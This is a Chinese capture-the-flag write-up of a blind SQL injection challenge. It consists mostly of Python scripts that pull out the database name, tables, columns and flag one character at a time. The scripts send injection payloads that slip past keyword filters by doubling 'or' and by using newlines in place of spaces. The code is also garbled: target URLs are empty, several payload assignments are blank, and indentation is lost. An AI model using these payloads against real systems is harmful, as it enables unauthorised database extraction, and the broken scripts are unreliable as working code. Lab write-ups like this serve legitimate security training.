CTF實驗吧認真一點 SQL盲注

實驗吧位址

很明顯的返回兩個不同得頁面,判斷為sql盲注

並且 過濾了敏感字元

測試的時候還發現過濾了substr

嘗試繞過，返回錯誤頁面 說明 過濾是可以被繞過的

爆庫名長度

import requests

str1 = 'you are in'
url = ''
for i in range(1,30):
key = 
r = requests.post(url, data=key).text
print(i)
if str1 in r:
print('the length of database is %s'%i)
break

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'you are in'
url = ''
database = ''
for i in range(1,19):
for j in guess:
key = 
r = requests.post(url, data=key).text
print(key)
if str1 in r:
database += j
print(j)
break
print(database)

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'you are in'
url = ''
tables = ''
for i in range(1,12):
for j in guess:        
flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j)    
flag = flag.replace(' ', chr(0x0a))
key =        
r = requests.post(url, data=key).text
print(key)
if str1 in r:
tables += j
print(j)
break
print(tables)

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/?!:@#$%&(),.'
str1 = 'you are in'
url = ''
columns = ''
for i in range(1,6):
for j in guess:        
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j)    
flag = flag.replace(' ', chr(0x0a))
key =        
r = requests.post(url, data=key).text
print(key)
if str1 in r:
columns += j
print(j)
break
print(columns)

import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789{}!@#$%^&*()-=+*'
data = ''
str1 = 'you are in'
url = ''
for i in range(1,20):
for j in guess:        
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j)    
flag = flag.replace(' ', chr(0x0a))
key =        
r = requests.post(url, data=key).text
print(key)
if str1 in r:
data += j
print(j)
break
print(data)

flag

##很尷尬（把去掉才是便準答案正常應該是個空格沒想到 空格這個字元）

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